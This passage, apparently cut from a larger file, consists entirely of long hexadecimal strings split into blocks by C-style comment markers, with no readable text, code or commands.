424d61ef4057d3aff2f9ed2288bd51cd8d51fed7d3f0e57c3a22ae324b23d6b6277ded27fa70c17eef008b4686f71362cedd417888c6ee002f0eb81b4952e3b8b6c260a402c6dcebb23b3e881b75ec63aaed27acc59ddce5d3d034cbd2136ed6c24c9bd2e44779de6f60c10061a6b26dd40190887a7f1c79697519696c1a6214caec14d8d5e24a5c783399176144961ee0b2aaddb2bd0d4bfc1b43cf3bee13ae8bd5c33188bd04d232801dafc9a8285e237d64b9c68515cf770f5cd2961486a9c92f7292625a4e31ed730c3b0e10925b5a33ddab5901f71c8e6d6c9da7c986da3da96be6c18ffd03cef10dad675d9d745ec4ceab13720218b70f6ce3f8a9fa308a9ff932b2ce6a521c35f71f99322f2ae3f476593e3c927f28b1b3029f767d38fde2def7fb3572cce5df352ef10a76c7ee31af18c9559e432b0ac959063e48f261d299884e392f1c0e83005010fb23a11ecdaf8de15d29fc1c9ccb6ad2f600ab6432495d98f3105826d63b7fe2ff8bfb76346d7a0d9e664d8b8d46b1d96209d55fa4f6c291c9746fdc34e54664f85ae5f8e059c6785b3477b025a757fbfc6a53339393fb19bbdf9082e540da6c0a2d3f649cb63cf0170c40af2f3063e7bfa372e43527b56229eb9c9a14111ff22c2e875322e0601f583c5797177da40e09f462c0256bf9e49deb4d0bd067e025383016f6e6456992a1d17c81bb41db3439818c16f7f3fda9c7c483f9e6a10a485912cceea900022556d272773a798f29b7befbd38415323e885632cefdb85be80637aaef83e8eb1c4db17a0e152dba9a3834c8ef1adebc4a6f243619b07f20bff503e69a21021bdfbb472b007a35818815910623e9538f1a858285456f7b39a1b2932752b614f632ece13889fa95f94719e42c5a5078d98e80ffd4218070e463246764a5670eb7aeb8751555c44f88b601d51066210c97826c76d8d509a1787d756e29611810745f35a5dfbe33dcb577c274365c3daa760a04f71fa4d4e56e5556af3c071bf5955cd2e5ad611d57191abbf38ecf2b3d433e4ff658b0e968d1cd2eb7cba0539d8e6e26403c778509ad866553004b13fc821dd1a09e2fb29f627dfe89487a9fd9bd3225415fb26321407cbc9946099772081c951bcd6939c18b27ed103b4f61698401fb5a7aac31f514fe2ebef5c7a0ad7682e6a93da30e1eacc8776ea48d333796b8892bbfa9967a07fb26754a33d39fddab63e75c8aa3b472dc8d2c256662662e8ab20cffa9f5fd76eda5c48cc96c5728eb577f4c4fe11f62368f545ae000338f72581f58675b4515b74b31eafb4eb*/
/*b68ba8b08cd72384204e7ef60127be2a956101d93d3baf33f380e8a3110739a44f3fda74ffcf85f94e9b0a0daada124582c955f6ac7e6e036bc9cbac120ed48df900a5a63d83f6b0c48ae8c9447e56718794eb42904326f6852821045a07b2432f939af85c26241a6ffc9ab7bfb42427ba86e7fa171cb3b7d0fdce1b751af41e329dcc64d7e669e5652356357f27ab82a8700e1ea3555978303218b5fe53fc88f1baafefae14c9205562b9e15e20983973fe4dce63438b407862c07e69553dd18e52e43627d07ee8fd51c27c0a896144c23b2b449ef79e1f0131140531ad94fc04f4348170c6a6b1387298929a5aa24010a9ea4e179a79fed47c238424f1ff120ab9939d7be2506709de47a2e59d0b62217b05e081c8f07b081c95983c30c525f3881b9cb04e915e59d4defb4f4b0f1946081f0587cee212cf2289d9edab463b1c760a092b87d2cf2cf50804d38ce7e5f5cb09e32f11116bd66c1bea682530d236a8572d55a6a0ba2c90e758faea673e3927527c71014f131ac9d30928e774048f08904b2504e33c6e02db224b1e7856424e922522203f6dc7eeef38b2c5b4c9715e7ef7babc0269e237dc246621da6251756156c883d7c04aecec6b80c668d7377f41851830ddfcff93ae2570150a664c3f27b37f32c3aad61178d8e0369a72dcbcf551cc3ffcfd701ffc278492156e144d1b6e0f0f122c7347fc2fe91d4a858ee43677d787bba69e754685421acbf76953625d2ac7633c5c82c420272651a54799e17f21bf117a33e4c382fc61218e421caf7dbcaf69d6e2e8e6d3edcd726ea0332380eb7c05b4dc91897c499fd7f91ffa3008f28a48af6a9805550e5e7db8022e830cdc406af8d243efe8add69d048f0797b74fdf636e17bb004ce8f0f6ae6641364659b11ad869d1a464625766ab91a893c3966f405587ffd0a9fb84c53b4ebd990cdeea89f91103c7c20020e6450547f7e2b8e62e2ed2b010ca91924f4e8fbabc5f7527a22a055f8fbe178f5f9b27efb174d0f81e3f10bd18489e3f2777690d0b741c9adff279ae27be65c5023702fcaab6445b2db89568b692e415e3d73aa55d39d7a3573d24ece562a22f16034dd602325a899c29b2bd3e1cabd523929411cbbd888d1d98106829cb91100edf79359b6f75149a71f0e867081af61ee7af005b3218ed561c50b04183adb6b7b484e63de050d2f72041aa72ed166997258a77d63f81e1278662d7ed5a43cb08e554253817ede6f6fd55d21f97f762c2868b4b0566bb0fe5a1162c4a8e995bed0376d84242a7c1ff3abad5b1dd48ac40b43ea6036800b2ef982ae6eb7d8427be6983ea22f2cefd59ab1466712063c6c3140d52538a167df49d1e981a340fb086036ac30a7815298e0344a3713ccd61dd21bd9154c8e347a09bbf8cb7cae9521cec5e5173cc14760ae470f58a1b71d5568499f4149928f6e5f222e61adc61a199e1d03ed1e1eca832b8d96bfc083502415dc904984ada10270839cc4d825d59689f94c951ec1966641d884f0f0ccff6864a6ba053ccf525a075bd9dc5ce63571a55922a841f46a38dca24b0ae3202952df3d9553d77b8d4566c7cc9df00bd40fb82ae3b4bd75a16fdab469a83ca4cb88b50ecef36156db3440caaa636298f8946463c29a26c5a012b1918c68d884fc47ae26c00fd2ef1f1abc6cc11f918de10ff00f7a4bd877744fc5d6e6f0d77fbc13cbdbf7e94d0cc1b4f963e9ed2942446f0aae18f69665fa3e034c39765d6383275098fcd3cf0d5b127a72dca453bea27a6f863aa54047d487dc04fc437d845975589ad515c7d8d7468df5496d1830e5ef144581256fdbe60a285d47e923381f9f300803c7bb28b485f0b56c68928f0c685b29ba8f2bd07d1bfeab9dd3f7e126d6fa558f045d4c6e0ed7e5c3af8d4c97ba27f92e47500e2e47e3adeee23db12b12fcd3f0f59ccb01cfdcb3cffc1def56aa78d11cccd465c985018f051c2508e1096eecff787034ba6baea37028f67340f10227711671a0d8089c7154ea73a1259518b2e99f7283d52d2fc3c2c95bcdb35077ce5873113d4d8dc48a1ff3291364d479457fbc8aea3ed104be9d21eb14ae07f7fa22c33319326af2498cd0d1962279ea42f04695fd4575033184133240423fb89f24dfbbb876e2e541665301bf740392714e7d11502f65845cf2ef142b6efd2c2c9208c2cd941777ffc02b711be9348197ee081c328575c0f34c3238cbe10f5b039521fbd31bb74ea6115061861a0478b6cd3b076358a5c850c6ae0dd18c3d07eee6d54e2e01c73f224fd4c9ce091fe14c01659c247c9776d29e0108cd25f1ed9a815188a4f16d6cd522cd68235712ece280620a771b3aa27c1319936daf3aa98b3172633a24218c9d15ec217e37be3ef7f0e88694c920acc8daab74eaf5011525fe88400e1a917a3fe5c8d24fd97f2feda64b1b0d5a51332b222ca9e36dfa4e8d77620bf4416acb59421bc6eafd3e57841397c6f4569fa5e1c80b4e0f5eff54184afe135dcc3b8a55f823cb24b8aaac2ccdb1f2cd8a910ce6b34d5b8824bd04123783fc1cb88658e489e4cb9432aff5159297fae012acb88f095058c18edfc26ed08164c92f613f1ae89acd124ad680d3be3863175b6869252af673121e8ff6d3d441533bd1bf3397b6b3ba2efb013bf6ccd92d008fda6f651d959e6cd712231abf7aecaa55f0126a3c77d624b80405ce5078bc2ddef4109566c2beffbc511e7843406bdbd0a22b629f45a8622523610bbb8acdce17de6e811126da3231196b45245cc8628fc826a04a16fd3a155a611244372f0a347adbcf44bdd5c5ffb3a49*/
/*f409139b0d77f4b251a298e2079078c11481d179e0f3e0cdf7554f3bde48f221bbd8f8d5b99a01d2e719635033128330c99e5ef37d5fe850a72f6349dc238817f4cab39e9c43daf81611e25457db0023395f803a68c08eb4511b022c7c791c3830af92cfb123a7e83efcadbf1e491725eabc56d13b8ad00204b4f56ccdbab2f68bedb2956fa25f61355fe45a62dfd3271ed7df2a0df82fb8dd095e7fc1ecfca64a744e8ab1924bfa2f7d1fd9f3c984a11b20ceeb32fc5791b48ba14ffe441d1b62515acddd14831e598a82d7a9f62c713b155ea0ec1fb52278bde4138f6bfc9d57eb01ead16a38862a0be8aec4dfefa5415fd7162e32fdb266b6d0d4a955bae1590b420513e835ceefb64df3d7f058db0d9002393b65f2f103d7a83e4e748ac9849c32920e02708cf513a5b217e011b9c5fbf721fad540e20e65a6bae4dd080659934a53b5ae680d2040f3196214e3b18f497973e644973b43e2ee2ade92a5e3e072a738329d8f99a100a0140d528ec3e442dae1f4e10d9f5478bf40d8257b6cc013748f1f8376135543abaf550f4ce7f66c4619b14df1349ed465a1fc9f1f12cda4f28578765064f6f86122ae2f3e5897b4f17f3b4f2cf86b5068ad4495354d053be1c8cd56f92c6fe7dd3a8df67ad9eb0d0d029f5b4771deb6b5513d82cb30105122333d3cc6ec267fbce0899ab39fa63aa921aee95e044ec8ef07fd4798b05007bfa0b4bb9fbe1f27402ace8e14b633bf9b5b992b7db027d0d0bd0a9b1112c6a7673eb992ebac90ba8ca9384355f39f03a1e7205afa045899c9f4458415a4d9b6b295f10afcbed86c8f32da91d0a1ddc2493f7781fced693b8b56dd9e28a65e585a9782a8d696ac4d965e769bde364fa4e57f72b577fa9fd87443588a7c1e1ae504f5a400e79b2deb11f8e1010e34a9d4e9f6ddb39c6ee40ba82fc1f4047b19db9c6487146273e047fa67326887c09e8ec3215a2ddde5be1d1f983f4a317cf2c09c59e6684be93b6e1efdda53b923d729844987d2e95ad1bf6e671e2972d0dc60468d7339c7e2278217cba1d2e131d475628f4188ed98adc9f0bc7c0b69536c46ab819abd44d615e0ab74460e665d03739bc6ae65105529284a7cd83ad66ffb7cde2a2e9d3e2344878baa73ce84ffd62e061bd81d585cb2f9731c9740849b63fb00b7b6a12bca7f7b9c2836a53f8d2c84c3b6f7429d3d954c05f31c209cd5393dd6aefa7e6a83f87f7286b85e95baa393688bb6b58d700bc5dceded9763122e99e16d907663af2e955796fae2eab6127d2b02e4a33055862839370d3a661cbd0fb8a62b48e85e3a99edb0878d5eacca30a4372fa2bad8eaff678de7be9e8faef9a15f7dbd97629a34ac71ac292727258f25ac9911f992de752d56b1e2f4fe6a1b8d4e1cce3176e49da615a8294972799a9e521fa7bbf053562458f8cd86cc2896710398f8412a65ae15b9a73cc461fe65defda9f89238706c67142eb69e1b29c6a6c9ca5a1ff60c875783e1ae1d0432e44ef2ecc25767c34403a12e4599e3f810ac78d87513049176c730fda09c184b1825bc508d6144a7c6b0b3350562c9cde711565932b663e85fdaab87c3985b49c6a451c04d5a4ac8ef55fb2b4448fd0fa55d28b5815cea9447e213cab0eebede02b9139534e1d4b0baab713c04ed8d92f04caadc4f2b0509d4f6debbb29198ced22b38c9efe80b79e4c6e4f4bdcdc659902adfa9fd000289f1571923e57384d2a2d063ef92331bce59a5d4a5eb969a92e2a02430da31e85933f0c5d8057a1fecaab436597bd9051383c121923e189783823b58c9d2f3febd7645e4d0a3e5e32c6e06c3d2d748e9e78062792ae315de6b44f888676449af2b98f5da477f945fcc595e3773ee856868b0983574398c0913a54d72be6e736c9f6604d1a04c7cdf71c23a43c50a196e3092e8c4954a575cceb04779f700f84b4a4b14834e4a5e008e8cca1cdfe24417c254c2af6266b500771fd301ae8b200d796f39b752d7d6f8528b27ca922a647d9d701cb8b48bb4983c6ab4b242f6304536d0446f64a77df6323398d187e4bd8aa6aa36daecab210241a22f0611c01cbc7f6ea73ffcc94459d06c94c8d5ed5fcefba4eb190b0d3f2cd91d2504887b9b2c339d1bc9413b6b55fab7611e69b67b9477d4f656deb7887629135b30d6d97311bbcf962e77650b1878c78be57cd1666fe6c8b8fc1a9c309e7e76e8551c2911ba9978e723128384758d36ade40a3eebd48ff2d2f0dd98b582381027b91056b079859672fa67b49332fe727ff725dbc519aad8ddca8d5a23d255032b819325e3f73d05e30a5026a957ac08061a83c38032a396cd12e66b5f524bcb23c3e10c3c0068e412f4bc7d4c0601dc752f8cdff591ecd5b5945cda96e387305754e69feede956865a8fa1174f8f27c42e08d101eafc92bb1040e0f87419e17dec46ea128ec0484137ac83423630a6d3e3e8fce11c019ed3fdda6958baee22aefd9c053834cde77e54bc5624c6f45c9f32a0d184fa655f751b4e0a0b3177e3ead7baf9d1d54a0957dc3828c1af537b4394bbe6b885f706e39491729af9a9204424e87c53a292b20ccc789086dcee2d16b9d0d9317e9cdf1067e28e0a532af547fdc32a7e9d1bd63f52286fdf7eb2a82510bc06f2c081f65188759124f8855ec6d071398750500f6c2295170a5746039495626ddb11fed4aa4dc90c2d16134634ac2266e970690dcaa1aa2cde31305b6834b383dae4edbc8020bb4711cabe65e05c7abf6e5bb1df2531295e77a646a14017f5895cd957c276c750bd7d6d07106851010960a36f50e04766a51ea40*/
/*c09f3458fab336f4f982a9a4fdd019374bb815b9824eac154064ad4ac098707b86ef077903ee3eeca920c074ffe290d2f7608dc41f94ae2379f2896b0291567b91b7cd0aad73ef7d53d7141f0b9bd6fd10dd778e5bdcbbab3e954a09398292c43bb6e4225c952ba09b9d1fe22d97c4c291fc2f45dec9ff0b0e2d4a95ca03f26fcc680526ac7c66965ded1ebb3bc62f179e2d796596ae821b7f2421689c41ba86aed2de03a654598dfdea47daa4c83ce862383c54e4170095ac32ff9aff498f7dd6efb4998fc79ebc5f6aa2c8671865004a7c32cf131fa82b8efd3f7b75920543eb35a9ff046d9ca497a32120fe9d6ad58575bf82261301d38e32f8b8d29bdd2698a918b8eab1977f449a523952debc6c0ff1a5399c393065a2e8a5ef1bd1fbc2b105959e7afe05909a6e1386b0333199d86f3a0f8de63b5c15a50b76e719cbbafa9649b3d6c42b30dafcec3ccc60d0faa5f8aceeccb7f14834e7cbbefae8e64fd04b418c69f6ed6a9f1bafb8cbdb89fb4277a612adf8282caeedeb299ede4e45742f11f6e0a4d28b6d610b4cb992540e28fa07218a702031bb1175d8b60cc573bbceb22663b2275bd0c47932269cf568792f58c3e3ea8a383142ffafd518c987efe9f556d19d1992e7fa040f91b73dbb7b9d5a35c286c34da566708e037499a7967bc7dab2132142b8d3c6080f28605bdd70fac955a8d0cc5bf92c8b1f792558c9f5da044743076096861b187016a321a72c68288449a47f06980f2a1725f3f64a3c8c3baa3a84a2b414aae6cd2ed5960e1178c5915a60b41033b94e5f66cd6ea10005be71ba26526ba4d446b9afdf7202fa965a605ab1dc837902edba127848446d08f5318d503c6318920b5f92c68785d8def7c28c0a414b10a14ee6d207efc94395bca1c40438211b39c2d3247c6cef34b9e847ea475e5226516c30cb4dcc2412edca4e3aba8abccf5333d9b0a7e64c2a86585b71f5e50e760871bb7d4f4ccc6077aaebe5f276d269bfbb906c1c22a78aba188e9c08b2bb381b9ca788a3d1eda18a12260c3d6a901fead7ec0c2c25135b7506d58ae04118e9af70e87a847a7be104fec0298b8d923171345e69a2be7892930e869d0018bae7ab35ad7ed4e3a770e59f8be2f34e43337c0d7f024dce40493d252d7765caf800c5500652f800557e8aaf2072d6747399a18c844556175281cde3abdd53017cf44df8455c8b729216fb21a8b34fecfcde83def9ea10b826a905206c4b218c17373ce947d60320880b40939e66b48db8fb9d79183dd395058d0537d17ebc5c1b448d444c41884a980d4f7966ea34dbc0463e420eac3e63f6d039b40d4f4cbe24b8e8373e350156f2cbc6777b72e6887fe3ea44249fe76eba178e7e8fb4be7a8e961f27d4da750569a7ded946dacc6e0d21809a79e7e7d26cb80edf84b2affc0ee5ce8654c131c6492bef5e171baab155dd7cd6239fa85dd33e4bd22a2769a3b689581d20e7d6c19fe6e9f3402761e12bae232e5eca9b78006cb8125ce02babb10c3f30b7e1155fe5d62e729ff90b5982514182f69b36c201e7be5189fccc7b61775f017428243bba8f1cce07764dc15e6b365a7bab120af9a9bf22024a2dbd32c5e5c5e0bb8967530202bbbb0b9bac4cbac54c198cc8824624647bdcdfaea4d5141238dfd28e1908a316315b0a225f6ce654a900aa85917385a6856c539c17c16f48357ff204e2dffc0f40bb37a598e348aaddb72b89409ef380db1d2356abd3e31b1e63a68c50d7376351d9287ef085f0742ddee89e7af4149f1f04f0e443bde4adb605d7d43827c79d7fa7637d40eab129a7bfeb7ba0179d91777dea15d04553086a0c404efa1078e81d99e0c12497e36c9defc5ff89e2005e3918c1fc0b8a955c7b9d1a363be0f64aee004d46124ea71ea4886a92cb0aba275973e8b5d4a5acc544f966fa0e80d9c89e596f749df2adfa78dae9613a887ef1406db25e6dedec36b785951043fa8c4b9775313bfa463b0485a37f34ec0c5e716104c6238642e202e5c61f8003e6d804d44e7153b10e521fce45bed2d44c0fef0d9aac9d24d1a4edec7a1cf9aaa5a9e4e485f896705fc596af7f5fe0920d3ccd343bf1103bc21b9a9bc9391408dda7fb887813cc9ce4535e25aced73ccd6cb414e12ed58e7a005fc3c6434209cdeee3c9c8abdc30992538c1a087d630a1315e8ea76fd2761fa6b3228288d1fa9de1d002b2baac5061c52b133046f170260046bbd0dcf7653378c1ce30ea0162b70561273f19efe5f40f45e7fdf31ddffd6c641ff746b0e5cf73a0ea825d61ae18e9afd08dbedc2e854c24a714cb34db9ed66a1aa6971ecd76ab8828cb1fdf30cabac0c4937fc20b8e9a6840ca969e5bad373e2d43d026ec6d6f2fea746751630facafa0004791b8942bf05b923a745ec75c1f2984b22a60a2f0fc3383f80fbea4d0fe33213995573ae61a0d96119be7b972ca81b2ca29bf724a702035ada41024c605520ecc65bbe10d8d064f7ec44f229094848353a760c465247f71896ec194b04c8bff0b314dd5f52bfd826793e0f490407c227024494d12317d363cd8fedaa2b2eac45f2378c4ff4e7e54e69af8548084dc250a46fc30fa6b5725dbf066ee6841e3f58b7f36d6051115626db3e2a2bcb27cad39ae1e78170e50bffba6f235ef7e5eda4b204b8a51ce007986ce94bdb442630a4e9dbc58f87b639c36071df8740b614a5d538b6d4877f15528f053e7ba41128b540a361b0f0145ed9a671a483878e550754f65e97498f60b9335454a7d81136c4fc89d8fde55094c59516bc427781f2398bd2bff4b9fe1d5abcfcc2*/
/*cab684a0f21237f16fe654d71b25c6e24e6eece39a02ee65dea6334471dc7b2a573c3aefe586a0b7107851c7cdf7fa7cc09b2ca19b424e61dc9b9671ab6b17d05c9ad1d101bf9ece0a8bfd7a9294dc420b107eba6a75dc4bb3a0f90ba3403be927aae514cdff9225fa4809676566396cce6861d9a56e91ef216418337ea1af8a77ce6789322e1d890fdc1f0586d995b2b63ee54f7f82675863903e6e3121ddb888fe04f353c2dff7edcf2e590d3b9e912c13e281780f92d64c63c1dbd58858540a38290edb82f52e25e1621e7abca03f3500dc29492fc795ab6a814c2018a5daecffbba181ef63d6e74d2bc46b7155b2fe47d95d68846fa663fec0e4a2ccd69057fe820d2c7b8e24ce61ea00443638d055f5df20c836c026adb2d38689b4989e0233775a591c689aacb4c5c5dc837fcf7fb1bddc768a7fca20130510abaab28c779433fbadc21bbc936461a06f1b47d1d4471b618fa25e57ce73299717ac615241a8013689c74353a94079322f595aae4633fd7134b8024b26587d24a17b301251293b8a0997361ad59ded565586fcb0ec17f4369b0afbccd4777e8530b47254e3b9c60edf634b2d303af7c5dda25db12b29df9ba67c57f5ac7aa9021d570bc0085e21e67e9c3777eafb783c542495a264c503f944d0e00b6ce9b3793ac3b5a67c9c4606f4c19c702a4058623ebd3328615b42523b52bb651ab47dae7758c0fecc7f2dc515d9841acc6c18be16cb9810868036df4c818fa4cff184e02ca6f5a6a8f29a0f61d3895dfb3e96d4adde111f6f8933ab1b72d8db6a1c79f79a83caca4e8f7de538b1220e4f84be9d01746bc8da9f0ae6bf1266663ec754e6a650bb1c3c9187d085ade14b4ca95e82f9f926b03b21e67fc108aae4757168fdecb2116bf80c336a6374df72a3b7fb71586e43906fc953e4eeaf1f6fcef28ddaac490fd52601147f5719cf6e8688d1eab32c59d07919638d661d44cc8dca53fdc22a80c81f4e45afb9f1c3df86db0a27c82ef82f67145d9f86345a969db4d3406fadd156ceae7ef66dbcbbff681425eac1e42c5b61f3a59c86b2570b31e1c178b83886acb277621ca5e6a8ccd7f2f523f23f67da671423170566dd36c07150a904e83fd2d5a0b62d28941d9c22e1c04bf6f5f31490f89c5594770790e12d740bedcdf3a814b7b502e39f6efd3e475a3f4c1b79450c471b77e600ab5b1d00dd209999757d99881b67e56f8ef62da4ada7e1540d34cfcb07acf61d9befae4cebf0f402fbc6adfa694a9d9a5cef89f18ea50354dcf74fff4db44096b64e02f2d58df7fb072329f13efe6595eddfc355753451393b029240848f8bbeb26f33bbc32d469c0d10fba10c3180da2f5ecad4099cdec99a65e7f62bba880204bd4ca5696b28805558342710f8d346aa093362f7268865a2e6e4340b6d5d84f8b75a1b4edb4936e6c4bd70839fbd8a2075e334da5fa993a86d03bea569121a315a5a0ae89e0e60fdf8151103b6a2eb2cf4a4a241c6d02329b1e6f1867c0c2edaa97554692d0cc318888f7d4d488ae638f4fd487322d2ce9feac150e20351181973ac5deee3e783450be0867c12c3465183c75da3f8ba671bdf411e8ae062cbd4c0c429ec2e8acd80138182e1c4eceb7b5dfbd749a5a477df27845cef54010b0b6abc08b6bc5d5ac86661e1ef4ffd002b3141f231172634f6cc35d15afad4c056220851ee09cba56458b2b94b1d5ca6f8617b7905293fd876ab59f84fdea9b0416cbd97e158fc2e03f8727bd4e76e2b13981c299ae99860345f0303336f51daaaf6ed8ce121136bccbbd3514b451214f012e33c6aacd95cfdf41bb443b8b5b33053d18a6aca0118baca2f5f69f50bfd3b344116a1c0acd7a737ae3a211b7701ed604424a30f20fd6040ff7edc8332e9a34ee67791ffae63f1128a47c1ac9a79ed8496e505052cd0d7460c91609890b4be148c833d81dcb9fe4df632e77739887201bc18a15afee673453b9f9625dabfe264821f4023545c9239d5b03bf760cd3a9d227abc8d99c02a49834bf98b376bde139ea1634f44f7c6d1923682465cb9c59b124faa2243d815a25cd3409d04c2a6445ad2ec5ce8871e3dc00952e47c4f0a2ef2014ece546eb6bc98241a1d2500b56cd4c9a06d6bd6f93733fbf92289c8a741969761de4e5656df30989aa72ad71bdf51bc9ab6ada1794371d0a1058e65fbf41454d44e865cadb63cb0098d29eb31d54d6d6d2853b48eb19cda15a124e5d2ad166506eb53e4bd2ad8e3981cd13d1a46a10dcfa87521345bbb7996a671e4b1ee418eeb5f46ce967d82237cbb1598b5f32b06dfea2ed40484dc321da755e0f164b40700d626524367ce584393534cac924c9d1767711ff4cfa1337cd66d332a070b18d89123df8363d36c62fc407176bca8a90041c7145fc12053dc51cc32eacdd055cb0e299caa51029c9b649f877969f68f5262fe844bb1e57c160eb57c97d7c00322c27126edf2b2a5701cb2cb2a3ed82814fb2ecd4fa8cde026011e34962d3f6072f2d7cf0026e32abc9a45146b89ce5418f60b97b73170b18ae67480d708ee7cd275fc99e92aa57fe1c1d53020a9572c42888040634303a22d86808b6cb86857fa18a2f9f50758c32ce9f5a5458dbc082d3c28ec7457138461eb89fe9026554cf0363de29fb886f15576828c287ce10c3cc0ff106b68cfd835c9eab1ef046fcafdbe22e343582e847b41a58ee4f93a23597a004b85c5b664d2270b39b8a87d51f7cda6a7c76181a661728d764b2a436528c761f94988b99076a33396b97d09888d2e806355521f0df2957bdba38f8d56ae34997e164f*/
/*ded2dd24306a949dbb7eefb6bc1ff6a7e94c679c7cee24ecd64d0cff6ef15c4d1b9d590353d134156e0b78c0605676c9bed4bd6a97b0c19dd99964b64fbe7274bc8ce04a6038ec26e4038d130df79b23d108796d5844dd9108341fce80306046ed078f1b1c2f5956637133e9aa53b092ec66563f0bfa0dc140210ab1e4a48f117379c5628eed48d8859f9e415aecdca29a4c12fa56eb17a16c77bcd92951f538b254b073f87db31ae1c9c596adbe585186461b44b8d2ff54fb83ab4f1a7fbdb513f2e61481f5cb50d3d640d4c6f1ed869399510108a2c76187f2ec5b0ccdcdd603156041d9db0f4d369ce976ac8d7a85e4b9373553a7815adf5068f7081ee823b12582a68b0b9d1e6ad8f2910dc1f52396b6b10dfc3006e5d654670094f48e77424034e21f110cfa6645aff044a58c2661a9c51ce0fd37d9662b2c02105550212eb52fcea8e2ea7dfc2f6f88a71466bdfc3341a336cc71287a700496851e312afcb23e2ccb118978b6dcb4bbb5371901415acfe6387271cfb6be785d35894f0cb0179f8df6d243c1897c2e38de90ec5b20bb679fb6ba9d2e9c9d5ceee34e8ae21db8902f5440b976cbe50f2905f09019d0c1b19835001d478137035b604cf403fd4f474ef0418f4c4a086fb5892b9d80dffa2ec7dd4acd618cad97645d52098e220f61318c96081f1febd72a8fe0837b215e32516854c335214b72f4fef44d75edc9b967b2ae34865870430430d3f41fe699a3813195b050ce3c4a4d8b1fd7ca5965eccd5f1d0bd25adc6c4f2b995e1b331124f7e45d24c02f7378bf44302a99e25cc93a336c3841436335761b98c4fb9ee7ba5ba1016ce896bfd12c15b6bed20671b0d1ebeecfd87188dad41a073720303c9fa8c30008bf4cb97154a4f139bdb60a8cdab4fa471ec5b169509c92a89d542e12354ee5376b4d76cc3307c5144df42a8675b47020987be8b269d6ef5ac34c60d2935d69032eef89735bf518301abfc8184ff5b99f5a947354d130551118dee0bc67faf800780ce47357ecdbd7c5190553b801236669cb2dffb0b90fe25062ccd0afd6fdfffa7c09dee1dbd6b129e89e5518e38c6cc302a5b874a4a0ce6a1c488a50600b21c5cf4a7f6350f4e6a084c694ee47075957f7214cd035ba69f5fb63ef0285616f4d2171e17f10fc99b601ebc7e685c64f4d5005a561e00d0e36ac07729a5d00a6cdeb42170a1b6d49d10dfceeb3ca50899af5f92e94d897625da6b054af1966608f05af249135ac014e0f279a437e10d7e2fec863f4bc0bf49c9e86cd236d54e84b5811450d01044e74316e13531f99ab7030611550e0bde742819b0f3f878f954b00caea8eaf031aa2be2fdf1bfdd26b0116e00b2715413f60e0fb068f39fdbb33112a8349b9488b1229558bbdfeb3c2d821a94a911b6b1f04ebd427fe18c9093ee00aaac00af30dc1271f3e42745e93bc538c9260701274d2edf671f476360b5ac7592110d0a3214ad37e986e4d6a44d6639d21a24be334059a2b476f1205e14a158e11ee0111dfb7539d95dfc777328f3df9c4fded361a37c2cb4d2f97b0a33bd975d56bc126dbc16b80f09038dfa5791e8281f64dc19d2b74060cc88b427f5d7d02113e8ee5ed18817183bdfd38eaa476f09ce4e72c570f8dc1a818b65fec8fb8f74cf8233c00394767a2ab49ca052a2eb944ea300f2fe70d3c78a9cbb6b6a1d5e9cc5b905a4b1bb7679b047eac41d38817bf417084be4ace55e0cba0c52efb64d46c6fdeb79eb7261e9b684c4f3d033d4ff6dd9e21bfdeac928fc2cc70cd025b02d45576e32406dee6365e20309d97eacb9befa5131d4e2651474f68452e1f112058f6541cbd5fc624631935684d0311d8fe5b5a65147dd3ecba3d35d3a729add3d017fc2c928db74bbef091670a7dc865e68a2dacb4125496e61b1653ff0d9cfb153cd3897428cee23d750b9e00458031460581ca0c6d2adcbdefd5ac81db6490624247f200a4db2b2390b05c4b545d1ca50520884a65391a59fda839ecfaa36b7d5027b1ca11379ba815cea0384326740c088932d613f45b2e4b113ce5723c440275937b8a5c14489197b1346893ddeb6fbd5d80c7f3dc56311716d293e02e186237e9f8a259a7694f9a31fbb9925e0f1d88a86b4a07724c61c41f0e847c9fed590dc74318507d48bf89e9b15a38b6c06f7e0c078c1761b19c485d48f5d6c1e5cef9a03d898ac202a5f8201400285743bfd687a7ddc584b483d6e760c6d1b8bb4ef623604753fc746bdb3ad95acc3075802cb8144038b78514e073cfc244d0114e0d6c472313bc02ad9f8f13b832c82a810614e1329d4bf35a9443b346c554a2fbb969cbd8ea4f23a81952668cad4d6d3cef1f771851d23c6a88cb7cf7dd7f2bd8d11dea3045649dbc4937b637d07bfb54f2580bb1db08ca96f9818d1906d10ccbfe568cedcfcd6063ff7b0728acd035ec559716503737bd207ab70757d1f56131c60b65440f6009da5459232ae49e8615da456714d4d53e792dd9289db47fc2548776ceb9b6cf9bdc3b3e50839cd2b629899b8a10bd9c8d553fd42abe2321a9e3a57d441c480e12c08604ee97356a497f86cb775a5410190713d7d54750c7cc0ba453fb7caf1a39eb21a90dc627fef677381de02983c732c261ccf65b5d11dbba73e36e17aa911cf0323dadba141bf921dd0b27e34ceccdccb84e86eb88d16c17d593bc9ef9a08169978fb5eb2291e87ea92bacf385ea1173963649fd5d22e13cb40688a214382088f6d8cc34064c32b5c0528b297063a5a4f2d16f3c3f46c2a34965bfed5b2c6c662bf678d9d871251ecb082fe0a2*/
/*4f4a99bd1a0593f689c9e38cac02f7bb156aab7b498c2594e805a8ebbea2f36070acbac9e495df5a638512d167f0d78a688f47873cb7473b01de3ca1e85b621cbd8e87ad200ec69959ebc1c101d98577d63ce3da94ee0649494b29f64ce7a231af6e17061a257099fc61e5061ebe2d43d6ed625c1ea8af9d7d58cf24a6bfcbac57d8985424926d19605524ddd98a395b3f95583ac40189a4488cf4b13bb8c235e81877f888eb3700c210271c402f0e81b13ae8d202ae8a4fd29eaac8f1e68ce42bcaf0c1065b1283d41ec285c37cc2ef4ce81b4026b491bb6a969fa578e1f36750929ccb3564bf1c6154e567ea57025bd426711f6d8cfd9ae46e2f0aa1de437c9b41adf28fb54c11532c342aa4a62669830a8f4bfff17e7992622a3d913b9207665de527fc070e94e738e0d32c5b50321a493a16eb5a99aaa005c504e85f58799128c7c7a302344aaa3ab2a850044fe4175b3f1e6ec792a38a9b6aee4af37d9c5bb12f5c0c623517e55adcd1cfd45f64a843fa94a270eeb38b7ad146e72651814a6ea8751e73ee6976cfc51763489bbb435d7c8a96a5102213ca4caa26980be79c91a6b048c5a31bd26230080181ce8339bf4c9a73585a6dabaee4fd1e9fd3eec7d37428c0c034500c8a6f7db7c1482cd5dafe9872ff0a0ba2ff4d0f37cfb52fbb9feb763a107822ac61e9b1fc329d8fbda75b2336697ab04f8ff0b37ff3b81cc4be2c0dcd68affd474c4ca9fb2b91c30820397854933346218263470cadadb9a46aaf477da9b2e9a07505ed0e028c517a9eaa48c80cf62bf38b82fa374ec7b86657f5f